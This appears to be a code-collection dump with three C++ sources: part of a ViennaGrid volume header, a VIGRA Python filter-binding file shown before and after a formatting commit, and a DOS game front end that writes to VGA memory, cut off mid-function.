<typename ElementType>\n typename ElementType::config_type::numeric_type\n volume_impl(ElementType const & cell, viennagrid::hexahedron_tag)\n {\n typedef typename ElementType::config_type ConfigType;\n typedef typename viennagrid::result_of::point<ConfigType>::type PointType;\n typedef typename viennagrid::result_of::const_ncell_range<ElementType, 0>::type VertexOnCellContainer;\n \n PointType const & p0 = ncells<0>(cell)[0].point();\n PointType const & p1 = ncells<0>(cell)[1].point();\n PointType const & p2 = ncells<0>(cell)[2].point();\n PointType const & p3 = ncells<0>(cell)[3].point();\n PointType const & p4 = ncells<0>(cell)[4].point();\n PointType const & p5 = ncells<0>(cell)[5].point();\n PointType const & p6 = ncells<0>(cell)[6].point();\n PointType const & p7 = ncells<0>(cell)[7].point();\n \n \/\/decompose hexahedron into six tetrahedra\n return spanned_volume(p0, p1, p3, p4)\n + spanned_volume(p4, p1, p3, p7)\n + spanned_volume(p4, p1, p7, p5)\n + spanned_volume(p1, p2, p3, p7)\n + spanned_volume(p1, p2, p7, p5)\n + spanned_volume(p5, p2, p7, p6);\n }\n \n\n \/\/\n \/** @brief Dispatched function for computing the volume of a domain or segment.*\/\n template <typename ContainerType>\n typename ContainerType::config_type::numeric_type\n volume_domainsegment(ContainerType const & d)\n {\n typedef ContainerType DomainType;\n typedef typename ContainerType::config_type::cell_tag CellTag;\n \n typedef typename viennagrid::result_of::const_ncell_range<DomainType, CellTag::dim>::type CellContainer;\n typedef typename viennagrid::result_of::iterator<CellContainer>::type CellIterator;\n \n typename ContainerType::config_type::numeric_type new_volume = 0;\n CellContainer new_cells = viennagrid::ncells<CellTag::dim>(d);\n for (CellIterator new_cit = new_cells.begin();\n new_cit != new_cells.end();\n ++new_cit)\n {\n new_volume += volume(*new_cit);\n }\n return new_volume;\n }\n } \/\/namespace detail\n \n \/\/\n \/\/ The public interface functions\n \/\/\n \/** @brief Returns the n-dimensional volume of a n-cell *\/\n template <typename ElementType>\n typename ElementType::config_type::numeric_type\n volume(ElementType const & cell)\n {\n return detail::volume_impl(cell, typename ElementType::tag());\n }\n \n \/\/special case: domain\n \/** @brief Returns the N-dimensional volume of a domain, where the cell type has topological dimension N. *\/\n template <typename ConfigType>\n typename ConfigType::numeric_type\n volume(domain_t<ConfigType> const & d)\n {\n return detail::volume_domainsegment(d);\n } \n \n \/\/special case: segment\n \/** @brief Returns the N-dimensional volume of a segment, where the cell type has topological dimension N. *\/\n template <typename ConfigType>\n typename ConfigType::numeric_type\n volume(segment_t<ConfigType> const & d)\n {\n return detail::volume_domainsegment(d);\n }\n \n} \/\/namespace viennagrid\n#endif\n<|endoftext|>"} {"text":"<commit_before>\/************************************************************************\/\n\/* *\/\n\/* Copyright 2009 by Ullrich Koethe *\/\n\/* *\/\n\/* This file is part of the VIGRA computer vision library. *\/\n\/* The VIGRA Website is *\/\n\/* http:\/\/hci.iwr.uni-heidelberg.de\/vigra\/ *\/\n\/* Please direct questions, bug reports, and contributions to *\/\n\/* ullrich.koethe@iwr.uni-heidelberg.de or *\/\n\/* vigra@informatik.uni-hamburg.de *\/\n\/* *\/\n\/* Permission is hereby granted, free of charge, to any person *\/\n\/* obtaining a copy of this software and associated documentation *\/\n\/* files (the \"Software\"), to deal in the Software without *\/\n\/* restriction, including without limitation the rights to use, *\/\n\/* copy, modify, merge, publish, distribute, sublicense, and\/or *\/\n\/* sell copies of the Software, and to permit persons to whom the *\/\n\/* Software is furnished to do so, subject to the following *\/\n\/* conditions: *\/\n\/* *\/\n\/* The above copyright notice and this permission notice shall be *\/\n\/* included in all copies or substantial portions of the *\/\n\/* Software. *\/\n\/* *\/\n\/* THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND *\/\n\/* EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES *\/\n\/* OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND *\/\n\/* NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT *\/\n\/* HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, *\/\n\/* WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING *\/\n\/* FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR *\/\n\/* OTHER DEALINGS IN THE SOFTWARE. *\/\n\/* *\/\n\/************************************************************************\/\n\n#define PY_ARRAY_UNIQUE_SYMBOL vigranumpyfilters_PyArray_API\n\/\/#define NO_IMPORT_ARRAY\n\n#include <vigra\/numpy_array.hxx>\n#include <vigra\/numpy_array_converters.hxx>\n#include <vigra\/nonlineardiffusion.hxx>\n#include <vigra\/symmetry.hxx>\n#include <vigra\/tv_filter.hxx>\n#include <vigra\/shockfilter.hxx>\n\nnamespace python = boost::python;\n\nnamespace vigra\n{\n\n\n\n\/**\npython::tuple\npythonGetAnisotropy2D(\n const NumpyArray<2, double> & image,\n const double alpha_par,\n const double beta_par,\n const double sigma_par,\n const double rho_par,\n const double K_par,\n NumpyArray<2, double> phi,\n NumpyArray<2, double> alpha,\n NumpyArray<2, double> beta\n)\n{\n res.reshapeIfEmpty(image.taggedShape(),\n \"getAnisotropy2D(): Output array has wrong shape.\");\n\n {\n PyAllowThreads _pythread;\n \n }\n\n return ;\n}\n**\/\n\n\ntemplate <class InValue, class OutValue>\nNumpyAnyArray\npythonShockFilter(NumpyArray<3, Multiband<InValue> > image,\n float sigma, \n float rho,\n float upwind_factor_h,\n unsigned int iterations,\n NumpyArray<3, Multiband<OutValue> > res=NumpyArray<3, Multiband<float> >())\n{\n res.reshapeIfEmpty(image.taggedShape(),\n \"nonlinearDiffusion2D(): Output array has wrong shape.\");\n\n {\n PyAllowThreads _pythread;\n for(int k=0; k<image.shape(2); ++k)\n {\n MultiArrayView<2, OutValue, StridedArrayTag> bres = res.bindOuter(k);\n MultiArrayView<2, InValue, StridedArrayTag> bimage = image.bindOuter(k);\n\n\n shockFilter(bimage,bres, sigma, \n rho, upwind_factor_h, iterations);\n }\n }\n return res;\n}\n\n\n\n\ntemplate <class InValue, class OutValue>\nNumpyAnyArray\npythonNonlinearDiffusion2D(NumpyArray<3, Multiband<InValue> > image,\n double edgeThreshold, double scale,\n NumpyArray<3, Multiband<OutValue> > res=NumpyArray<3, Multiband<float> >())\n{\n res.reshapeIfEmpty(image.taggedShape(),\n \"nonlinearDiffusion2D(): Output array has wrong shape.\");\n\n {\n PyAllowThreads _pythread;\n for(int k=0; k<image.shape(2); ++k)\n {\n MultiArrayView<2, OutValue, StridedArrayTag> bres = res.bindOuter(k);\n nonlinearDiffusion(srcImageRange(image.bindOuter(k)),\n destImage(bres),\n DiffusivityFunctor< double >(edgeThreshold), scale);\n }\n }\n return res;\n}\n\n\ntemplate <class InValue, class OutValue>\nNumpyAnyArray\npythonTotalVariationFilter2D(NumpyArray<2, Singleband<InValue> > image,\n double alpha, int steps, double eps = 0,\n NumpyArray<2, Singleband<OutValue> > res = python::object())\n{\n std::string description(\"totalVariationFilter, alpha, steps, eps=\");\n description += asString(eps);\n\n res.reshapeIfEmpty(image.taggedShape().setChannelDescription(description),\n \"totalVariationFilter(): Output array has wrong shape.\");\n\n {\n PyAllowThreads _pythread;\n totalVariationFilter(image, res, alpha, steps, eps);\n }\n return res;\n}\n\ntemplate <class InValue, class InValue2, class OutValue>\nNumpyAnyArray\npythonTotalVariationFilter2D(NumpyArray<2, Singleband<InValue> > image,\n NumpyArray<2, Singleband<InValue2> > weight,\n double alpha, int steps, double eps = 0,\n NumpyArray<2, Singleband<OutValue> > res = python::object())\n{\n std::string description(\"totalVariationFilter, weight, alpha, steps, eps=\");\n description += asString(eps);\n\n res.reshapeIfEmpty(image.taggedShape().setChannelDescription(description),\n \"totalVariationFilter(): Output array has wrong shape.\");\n\n {\n PyAllowThreads _pythread;\n totalVariationFilter(image, weight, res, alpha, steps, eps);\n }\n return res;\n}\n\n\ntemplate < class SrcPixelType >\nNumpyAnyArray\npythonRadialSymmetryTransform2D(NumpyArray<2, Singleband<SrcPixelType> > image,\n double scale = 1.0,\n NumpyArray<2, Singleband<SrcPixelType> > res = python::object())\n{\n std::string description(\"radial symmetry transform, scale=\");\n description += asString(scale);\n\n res.reshapeIfEmpty(image.taggedShape().setChannelDescription(description),\n \"radialSymmetryTransform2D(): Output array has wrong shape.\");\n\n {\n PyAllowThreads _pythread;\n radialSymmetryTransform(srcImageRange(image), destImage(res), scale);\n }\n return res;\n}\n\n\nvoid defineFilters2D()\n{\n using namespace python;\n\n docstring_options doc_options(true, true, false);\n\n def(\"nonlinearDiffusion\",\n registerConverters(&pythonNonlinearDiffusion2D<float, float>),\n (arg(\"image\"), arg(\"edgeThreshold\"), arg(\"scale\"), arg(\"out\")=python::object()),\n \"Perform edge-preserving smoothing at the given scale.\"\n \"\\n\\n\"\n \"For details see nonlinearDiffusion_ in the vigra C++ documentation.\\n\");\n\n def(\"shockFilter\",\n registerConverters(&pythonShockFilter<float, float>),\n (\n arg(\"image\"), \n arg(\"sigma\"), \n arg(\"rho\"),\n arg(\"updwindFactorH\") ,\n arg(\"iterations\"),\n arg(\"out\")=python::object()\n ),\n \"Perform edge-preserving smoothing at the given scale.\"\n \"\\n\\n\"\n \"For details see shockFilter_ in the vigra C++ documentation.\\n\");\n\n\n \n \n\n\n def(\"totalVariationFilter\",\n registerConverters(&pythonTotalVariationFilter2D<double,double>),\n (arg(\"image\"), arg(\"alpha\"), arg(\"steps\"), arg(\"eps\"), arg(\"out\")=python::object()),\n \"Perform total variation filter on 2D single band images.\"\n \"\\n\\n\"\n \"For details see totalVariationFilter in the vigra C++ documentation.\\n\");\n\n def(\"totalVariationFilter\",\n registerConverters(&pythonTotalVariationFilter2D<double,double,double>),\n (arg(\"image\"), arg(\"weight\"), arg(\"alpha\"), arg(\"steps\"), arg(\"eps\"), arg(\"out\")=python::object()),\n \"Perform weighted total variation filter on 2D single band images.\"\n \"\\n\\n\"\n \"For details see totalVariationFilter in the vigra C++ documentation.\\n\");\n\n def(\"radialSymmetryTransform2D\",\n registerConverters(&pythonRadialSymmetryTransform2D<float>),\n (arg(\"image\"), arg(\"scale\"),arg(\"out\")=python::object()),\n \"Find centers of radial symmetry in an 2D image.\\n\\n\"\n \"This algorithm implements the Fast Radial Symmetry Transform according to \"\n \"[G. Loy, A. Zelinsky: \\\"A Fast Radial Symmetry Transform for Detecting Points of Interest\\\", \"\n \"in: A. Heyden et al. (Eds.): Proc. of 7th European Conf. on Computer Vision, Part 1, pp. 358-368, Springer LNCS 2350, 2002]\\n\\n\"\n \"For details see radialSymmetryTransform_ in the vigra C++ documentation.\\n\");\n}\n\nvoid defineKernels();\nvoid defineConvolutionFunctions();\nvoid defineMorphology();\nvoid defineTensor();\nvoid defineNonLocalMean();\n\n} \/\/ namespace vigra\n\nusing namespace vigra;\nusing namespace boost::python;\n\nBOOST_PYTHON_MODULE_INIT(filters)\n{\n import_vigranumpy();\n defineFilters2D();\n defineKernels();\n defineConvolutionFunctions();\n defineMorphology();\n defineTensor();\n defineNonLocalMean();\n}\n<commit_msg>formated code<commit_after>\/************************************************************************\/\n\/* *\/\n\/* Copyright 2009 by Ullrich Koethe *\/\n\/* *\/\n\/* This file is part of the VIGRA computer vision library. *\/\n\/* The VIGRA Website is *\/\n\/* http:\/\/hci.iwr.uni-heidelberg.de\/vigra\/ *\/\n\/* Please direct questions, bug reports, and contributions to *\/\n\/* ullrich.koethe@iwr.uni-heidelberg.de or *\/\n\/* vigra@informatik.uni-hamburg.de *\/\n\/* *\/\n\/* Permission is hereby granted, free of charge, to any person *\/\n\/* obtaining a copy of this software and associated documentation *\/\n\/* files (the \"Software\"), to deal in the Software without *\/\n\/* restriction, including without limitation the rights to use, *\/\n\/* copy, modify, merge, publish, distribute, sublicense, and\/or *\/\n\/* sell copies of the Software, and to permit persons to whom the *\/\n\/* Software is furnished to do so, subject to the following *\/\n\/* conditions: *\/\n\/* *\/\n\/* The above copyright notice and this permission notice shall be *\/\n\/* included in all copies or substantial portions of the *\/\n\/* Software. *\/\n\/* *\/\n\/* THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND *\/\n\/* EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES *\/\n\/* OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND *\/\n\/* NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT *\/\n\/* HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, *\/\n\/* WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING *\/\n\/* FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR *\/\n\/* OTHER DEALINGS IN THE SOFTWARE. *\/\n\/* *\/\n\/************************************************************************\/\n\n#define PY_ARRAY_UNIQUE_SYMBOL vigranumpyfilters_PyArray_API\n\/\/#define NO_IMPORT_ARRAY\n\n#include <vigra\/numpy_array.hxx>\n#include <vigra\/numpy_array_converters.hxx>\n#include <vigra\/nonlineardiffusion.hxx>\n#include <vigra\/symmetry.hxx>\n#include <vigra\/tv_filter.hxx>\n#include <vigra\/shockfilter.hxx>\n\nnamespace python = boost::python;\n\nnamespace vigra\n{\n\n\ntemplate <class InValue, class OutValue>\nNumpyAnyArray\npythonShockFilter(NumpyArray<3, Multiband<InValue> > image,\n float sigma, \n float rho,\n float upwind_factor_h,\n unsigned int iterations,\n NumpyArray<3, Multiband<OutValue> > res=NumpyArray<3, Multiband<float> >())\n{\n res.reshapeIfEmpty(image.taggedShape(),\n \"nonlinearDiffusion2D(): Output array has wrong shape.\");\n\n {\n PyAllowThreads _pythread;\n for(int k=0; k<image.shape(2); ++k)\n {\n MultiArrayView<2, OutValue, StridedArrayTag> bres = res.bindOuter(k);\n MultiArrayView<2, InValue, StridedArrayTag> bimage = image.bindOuter(k);\n\n\n shockFilter(bimage,bres, sigma, \n rho, upwind_factor_h, iterations);\n }\n }\n return res;\n}\n\n\ntemplate <class InValue, class OutValue>\nNumpyAnyArray\npythonNonlinearDiffusion2D(NumpyArray<3, Multiband<InValue> > image,\n double edgeThreshold, double scale,\n NumpyArray<3, Multiband<OutValue> > res=NumpyArray<3, Multiband<float> >())\n{\n res.reshapeIfEmpty(image.taggedShape(),\n \"nonlinearDiffusion2D(): Output array has wrong shape.\");\n\n {\n PyAllowThreads _pythread;\n for(int k=0; k<image.shape(2); ++k)\n {\n MultiArrayView<2, OutValue, StridedArrayTag> bres = res.bindOuter(k);\n nonlinearDiffusion(srcImageRange(image.bindOuter(k)),\n destImage(bres),\n DiffusivityFunctor< double >(edgeThreshold), scale);\n }\n }\n return res;\n}\n\n\ntemplate <class InValue, class OutValue>\nNumpyAnyArray\npythonTotalVariationFilter2D(NumpyArray<2, Singleband<InValue> > image,\n double alpha, int steps, double eps = 0,\n NumpyArray<2, Singleband<OutValue> > res = python::object())\n{\n std::string description(\"totalVariationFilter, alpha, steps, eps=\");\n description += asString(eps);\n\n res.reshapeIfEmpty(image.taggedShape().setChannelDescription(description),\n \"totalVariationFilter(): Output array has wrong shape.\");\n\n {\n PyAllowThreads _pythread;\n totalVariationFilter(image, res, alpha, steps, eps);\n }\n return res;\n}\n\ntemplate <class InValue, class InValue2, class OutValue>\nNumpyAnyArray\npythonTotalVariationFilter2D(NumpyArray<2, Singleband<InValue> > image,\n NumpyArray<2, Singleband<InValue2> > weight,\n double alpha, int steps, double eps = 0,\n NumpyArray<2, Singleband<OutValue> > res = python::object())\n{\n std::string description(\"totalVariationFilter, weight, alpha, steps, eps=\");\n description += asString(eps);\n\n res.reshapeIfEmpty(image.taggedShape().setChannelDescription(description),\n \"totalVariationFilter(): Output array has wrong shape.\");\n\n {\n PyAllowThreads _pythread;\n totalVariationFilter(image, weight, res, alpha, steps, eps);\n }\n return res;\n}\n\n\ntemplate < class SrcPixelType >\nNumpyAnyArray\npythonRadialSymmetryTransform2D(NumpyArray<2, Singleband<SrcPixelType> > image,\n double scale = 1.0,\n NumpyArray<2, Singleband<SrcPixelType> > res = python::object())\n{\n std::string description(\"radial symmetry transform, scale=\");\n description += asString(scale);\n\n res.reshapeIfEmpty(image.taggedShape().setChannelDescription(description),\n \"radialSymmetryTransform2D(): Output array has wrong shape.\");\n\n {\n PyAllowThreads _pythread;\n radialSymmetryTransform(srcImageRange(image), destImage(res), scale);\n }\n return res;\n}\n\n\nvoid defineFilters2D()\n{\n using namespace python;\n\n docstring_options doc_options(true, true, false);\n\n def(\"nonlinearDiffusion\",\n registerConverters(&pythonNonlinearDiffusion2D<float, float>),\n (arg(\"image\"), arg(\"edgeThreshold\"), arg(\"scale\"), arg(\"out\")=python::object()),\n \"Perform edge-preserving smoothing at the given scale.\"\n \"\\n\\n\"\n \"For details see nonlinearDiffusion_ in the vigra C++ documentation.\\n\");\n\n def(\"shockFilter\",\n registerConverters(&pythonShockFilter<float, float>),\n (\n arg(\"image\"), \n arg(\"sigma\"), \n arg(\"rho\"),\n arg(\"updwindFactorH\") ,\n arg(\"iterations\"),\n arg(\"out\")=python::object()\n ),\n \"Perform edge-preserving smoothing at the given scale.\"\n \"\\n\\n\"\n \"For details see shockFilter_ in the vigra C++ documentation.\\n\");\n\n\n \n \n\n\n def(\"totalVariationFilter\",\n registerConverters(&pythonTotalVariationFilter2D<double,double>),\n (arg(\"image\"), arg(\"alpha\"), arg(\"steps\"), arg(\"eps\"), arg(\"out\")=python::object()),\n \"Perform total variation filter on 2D single band images.\"\n \"\\n\\n\"\n \"For details see totalVariationFilter in the vigra C++ documentation.\\n\");\n\n def(\"totalVariationFilter\",\n registerConverters(&pythonTotalVariationFilter2D<double,double,double>),\n (arg(\"image\"), arg(\"weight\"), arg(\"alpha\"), arg(\"steps\"), arg(\"eps\"), arg(\"out\")=python::object()),\n \"Perform weighted total variation filter on 2D single band images.\"\n \"\\n\\n\"\n \"For details see totalVariationFilter in the vigra C++ documentation.\\n\");\n\n def(\"radialSymmetryTransform2D\",\n registerConverters(&pythonRadialSymmetryTransform2D<float>),\n (arg(\"image\"), arg(\"scale\"),arg(\"out\")=python::object()),\n \"Find centers of radial symmetry in an 2D image.\\n\\n\"\n \"This algorithm implements the Fast Radial Symmetry Transform according to \"\n \"[G. Loy, A. Zelinsky: \\\"A Fast Radial Symmetry Transform for Detecting Points of Interest\\\", \"\n \"in: A. Heyden et al. (Eds.): Proc. of 7th European Conf. on Computer Vision, Part 1, pp. 358-368, Springer LNCS 2350, 2002]\\n\\n\"\n \"For details see radialSymmetryTransform_ in the vigra C++ documentation.\\n\");\n}\n\nvoid defineKernels();\nvoid defineConvolutionFunctions();\nvoid defineMorphology();\nvoid defineTensor();\nvoid defineNonLocalMean();\n\n} \/\/ namespace vigra\n\nusing namespace vigra;\nusing namespace boost::python;\n\nBOOST_PYTHON_MODULE_INIT(filters)\n{\n import_vigranumpy();\n defineFilters2D();\n defineKernels();\n defineConvolutionFunctions();\n defineMorphology();\n defineTensor();\n defineNonLocalMean();\n}\n<|endoftext|>"} {"text":"<commit_before>#include <stdio.h>\n#include <stdlib.h>\n\n#include <osmesa.h>\n#include <conio.h> \/\/ For kbhit, getch, textmode (console access)\n#include <dpmi.h> \/\/ For __dpmi_int (mouse access)\n#include <go32.h> \/\/ For _dos_ds (VRAM access)\n#include <sys\/movedata.h> \/\/ For movedata (VRAM access)\n#include <cstdlib>\n#include <cstdio>\n#include <cmath>\n#include <algorithm>\n#include <GL\/glu.h> \/\/ GLU = OpenGL utility library\n\n\n#include <glm\/glm.hpp>\n#include <glm\/gtc\/type_ptr.hpp>\n#include <glm\/gtc\/matrix_transform.hpp>\n\n#include <cstdio>\n#include <assert.h>\n#include <math.h>\n#include <stdlib.h>\n#include <stdio.h>\n#include <vector>\n#include <string.h>\n#include <memory>\n#include <iostream>\n#include <map>\n#include <array>\n#include <iostream>\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <GL\/gl.h>\n#include <GL\/glu.h>\n#include <pc.h>\n#include \"NativeBitmap.h\"\n\n#include \"SoundClip.h\"\n#include \"SoundUtils.h\"\n#include \"SoundListener.h\"\n#include \"SoundEmitter.h\"\n\n#include \"IFileLoaderDelegate.h\"\n\n#include \"Vec2i.h\"\n#include \"NativeBitmap.h\"\n#include \"IMapElement.h\"\n#include \"CTeam.h\"\n#include \"CActor.h\"\n#include \"CGameDelegate.h\"\n#include \"CMap.h\"\n#include \"IRenderer.h\"\n\n#include \"NoudarDungeonSnapshot.h\"\n\n#include \"GameNativeAPI.h\"\n#include \"WindowOperations.h\"\n#include \"Common.h\"\n#include \"LoadPNG.h\"\n\nbool inGraphics = true;\n\nnamespace PC {\n\tconst unsigned W = 320, H = 200;\n\n\tunsigned ImageBuffer[W * H];\n\tint selector;\n\n\tvoid Init() {\n\t\t__dpmi_regs r;\n\n\t\tr.x.ax = 0x13;\n\t\t__dpmi_int(0x10, &r);\n\n\n\t\toutp(0x03c8, 0);\n\n\n\t\tfor ( int r = 0; r < 4; ++r ) {\n\t\t\tfor ( int g = 0; g < 4; ++g ) {\n\t\t\t\tfor ( int b = 0; b < 4; ++b ) {\n\t\t\t\t\toutp(0x03c9, (r * 85));\n\t\t\t\t\toutp(0x03c9, (g * 85));\n\t\t\t\t\toutp(0x03c9, (b * 85));\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\tvoid renderPalette() {\n\t\t_farsetsel(_dos_ds);\n\t\tint offset = 0;\n\t\tint fullSize = 320 * 200;\n\n\t\tfor (int r = 0; r < 255; ++r) {\n\t\t\tfor (int x = 0; x < 50; ++x) {\n\t\t\t\tint shade = 0;\n\n\t\t\t\tint origin = r << 16;\n\t\t\t\tshade += (((((origin & 0x0000FF))) \/ 85));\n\t\t\t\tshade += (((((origin & 0x00FF00) >> 8)) \/ 85)) << 2;\n\t\t\t\tshade += (((((origin & 0xFF0000) >> 16)) \/ 85)) << 4;\n\n\t\t\t\t_farnspokeb(0xA0000 + (320 * x) + r, shade);\n\t\t\t}\n\t\t}\n\n\t\tfor (int g = 0; g < 255; ++g) {\n\t\t\tfor (int x = 50; x < 100; ++x) {\n\t\t\t\tint shade = 0;\n\n\t\t\t\tint origin = g << 8;\n\t\t\t\tshade += (((((origin & 0x0000FF))) \/ 85));\n\t\t\t\tshade += (((((origin & 0x00FF00) >> 8)) \/ 85)) << 2;\n\t\t\t\tshade += (((((origin & 0xFF0000) >> 16)) \/ 85)) << 4;\n\n\t\t\t\t_farnspokeb(0xA0000 + (320 * x) + g, shade);\n\t\t\t}\n\t\t}\n\n\t\tfor (int b = 0; b < 255; ++b) {\n\t\t\tfor (int x = 100; x < 150; ++x) {\n\t\t\t\tint shade = 0;\n\n\t\t\t\tint origin = b;\n\t\t\t\tshade += (((((origin & 0x0000FF))) \/ 85));\n\t\t\t\tshade += (((((origin & 0x00FF00) >> 8)) \/ 85)) << 2;\n\t\t\t\tshade += (((((origin & 0xFF0000) >> 16)) \/ 85)) << 4;\n\n\t\t\t\t_farnspokeb(0xA0000 + (320 * x) + b, shade);\n\t\t\t}\n\t\t}\n\n\t\tfor (int b = 0; b < 255; ++b) {\n\t\t\tfor (int x = 150; x < 200; ++x) {\n\t\t\t\t_farnspokeb(0xA0000 + (320 * x) + b, b);\n\t\t\t}\n\t\t}\n\n\t\tstd::fill(std::end(ImageBuffer) - (320 * 200), std::end(ImageBuffer), 0x0);\n\n\t}\n\n\tvoid Render() {\n\t\t_farsetsel(_dos_ds);\n\t\tauto pixelData = (*gunState)->getPixelData();\n\t\tint offset = 0;\n\t\tint fullSize = 320 * 200;\n\n\t\tfor (int y = 100; y < 200; ++y) {\n\t\t\tfor (int x = 80; x < 240; ++x) {\n\n\t\t\t\toffset = (320 * y) + x;\n\t\t\t\tauto origin = ImageBuffer[offset];\n\t\t\t\toffset = (320 * (200 - (2 * (y - 100)))) + (((x - 80) * 320) \/ 160);\n\n\t\t\t\tif (pixelData[offset] & 0xFF000000) {\n\t\t\t\t\torigin = pixelData[offset];\n\t\t\t\t}\n\n\t\t\t\tint shade = 0;\n\t\t\t\tshade += (((((origin & 0x0000FF) ) ) \/ 85 ) );\n\t\t\t\tshade += (((((origin & 0x00FF00) >> 8 ) ) \/ 85 ) ) << 2;\n\t\t\t\tshade += (((((origin & 0xFF0000) >> 16) ) \/ 85 ) ) << 4;\n\n\n\t\t\t\t_farnspokeb( 0xA0000 + 160 + ((200 - (2 * ((y - 100)))) * 320) + ((2 * x)) + 1, shade);\n\t\t\t\t_farnspokeb( 0xA0000 + 160 + ((199 - (2 * ((y - 100)))) * 320) + ((2 * x)), shade);\n\t\t\t\t_farnspokeb( 0xA0000 + 160 + ((200 - (2 * ((y - 100)))) * 320) + ((2 * x)), shade);\n\t\t\t\t_farnspokeb( 0xA0000 + 160 + ((199 - (2 * ((y - 100)))) * 320) + ((2 * x)) + 1, shade);\n\t\t\t}\n\t\t}\n\n\t\tstd::fill(std::end(ImageBuffer) - (320 * 100), std::end(ImageBuffer), 0x0);\n\t}\n\n\tvoid Close() \/\/ End graphics\n\t{\n\t\ttextmode(C80); \/\/ Set textmode again.\n\t}\n}\n\nvoid setGraphics() {\n inGraphics = true;\n PC::Init();\n}\n\nvoid setTextMode() {\n inGraphics = false;\n\n __dpmi_regs r;\n\n r.x.ax = 3;\n __dpmi_int(0x10, &r);\n}\n\nconst int winWidth = 320, winHeight = 200;\nbool done = false;\nbool isActive = false;\n\nstd::vector <std::shared_ptr<odb::NativeBitmap>> loadTextures() {\n std::vector<std::shared_ptr<odb::NativeBitmap>> toReturn;\n\n toReturn.push_back( loadPNG( \"res\/grass.ppm\") );\n toReturn.push_back( loadPNG( \"res\/stonef1.ppm\") );\n toReturn.push_back( loadPNG( \"res\/bricks.ppm\") );\n toReturn.push_back( loadPNG( \"res\/arch.ppm\") );\n toReturn.push_back( loadPNG( \"res\/bars.ppm\") );\n toReturn.push_back( loadPNG( \"res\/begin.ppm\") );\n toReturn.push_back( loadPNG( \"res\/exit.ppm\") );\n toReturn.push_back( loadPNG( \"res\/bricks2.ppm\") );\n toReturn.push_back( loadPNG( \"res\/bricks3.ppm\") );\n toReturn.push_back( loadPNG( \"res\/foe0.ppm\") );\n toReturn.push_back( loadPNG( \"res\/foe1.ppm\") );\n toReturn.push_back( loadPNG( \"res\/foe2.ppm\") );\n toReturn.push_back( loadPNG( \"res\/foe3.ppm\") );\n toReturn.push_back( loadPNG( \"res\/foe4.ppm\") );\n toReturn.push_back( loadPNG( \"res\/foe5.ppm\") );\n toReturn.push_back( loadPNG( \"res\/crusad0.ppm\") );\n toReturn.push_back( loadPNG( \"res\/crusad1.ppm\") );\n toReturn.push_back( loadPNG( \"res\/crusad2.ppm\") );\n toReturn.push_back( loadPNG( \"res\/shadow.ppm\") );\n toReturn.push_back( loadPNG( \"res\/ceilin.ppm\") );\n toReturn.push_back( loadPNG( \"res\/ceigdr.ppm\") );\n toReturn.push_back( loadPNG( \"res\/ceigbgn.ppm\") );\n toReturn.push_back( loadPNG( \"res\/ceilend.ppm\") );\n toReturn.push_back( loadPNG( \"res\/splat0.ppm\") );\n toReturn.push_back( loadPNG( \"res\/splat1.ppm\") );\n toReturn.push_back( loadPNG( \"res\/splat2.ppm\") );\n toReturn.push_back( loadPNG( \"res\/ceilbar.ppm\") );\n toReturn.push_back( loadPNG( \"res\/clouds.ppm\"));\n toReturn.push_back( loadPNG( \"res\/stngrsf.ppm\"));\n toReturn.push_back( loadPNG( \"res\/grsstnf.ppm\"));\n toReturn.push_back( loadPNG( \"res\/stngrsn.ppm\"));\n toReturn.push_back( loadPNG( \"res\/grsstnn.ppm\"));\n toReturn.push_back( loadPNG( \"res\/cross.ppm\"));\n\n\n return toReturn;\n}\n\nvoid initWindow() {\n\n auto textures = loadTextures();\n OSMesaContext om = OSMesaCreateContext(OSMESA_RGBA, NULL);\n OSMesaMakeCurrent(om, PC::ImageBuffer, GL_UNSIGNED_BYTE, PC::W, PC::H);\n \n PC::Init();\n\n \n auto gVertexShader = \"\";\n auto gFragmentShader = \"\";\n\n setupGraphics(winWidth, winHeight, gVertexShader, gFragmentShader, textures);\n \n auto soundListener = std::make_shared<odb::SoundListener>();\n \n std::vector<std::shared_ptr<odb::SoundEmitter>> sounds;\n \n std::string filenames[] {\n \"res\/grasssteps.wav\",\n \"res\/stepsstones.wav\",\n \"res\/bgnoise.wav\",\n \"res\/monsterdamage.wav\",\n \"res\/monsterdead.wav\",\n \"res\/playerdamage.wav\",\n \"res\/playerdead.wav\",\n \"res\/swing.wav\"\n };\n \n for ( auto filename : filenames ) {\n FILE *file = fopen( filename.c_str(), \"r\");\n auto soundClip = odb::makeSoundClipFrom( file );\n \n sounds.push_back( std::make_shared<odb::SoundEmitter>(soundClip) );\n }\n \n setSoundEmitters( sounds, soundListener );\n}\n\nvoid tick() {\n \/\/if I want at least 10fps, I need my rendering and updates to take no more than 100ms, combined\n if ( inGraphics ) {\n gameLoopTick( 250 );\n renderFrame( 250 );\n PC::Render();\n }\n}\n\n\n\nvoid setMainLoop() {\n while ( !done ) {\n while(kbhit())\n switch(getch()) {\n case 27: done = true; break;\n case '1':\n\tsetGraphics();\n\tbreak;\n case '2':\n\tsetTextMode();\n\tbreak;\n case 'w': \n\tmoveUp(); \n\tbreak;\n case 's':\n\tmoveDown(); \n\tbreak;\n case 'd':\n\tmoveRight();\n\tbreak;\n case 'a':\n\tmoveLeft(); \n\tbreak;\n case 'h':\n\tinteract(); \n\tbreak;\n case 'e':\n\trotateCameraRight();\n\tbreak; \n case 'q':\n\trotateCameraLeft();\n\tbreak;\n }\n tick();\n }\n}\n\nvoid destroyWindow() {\n 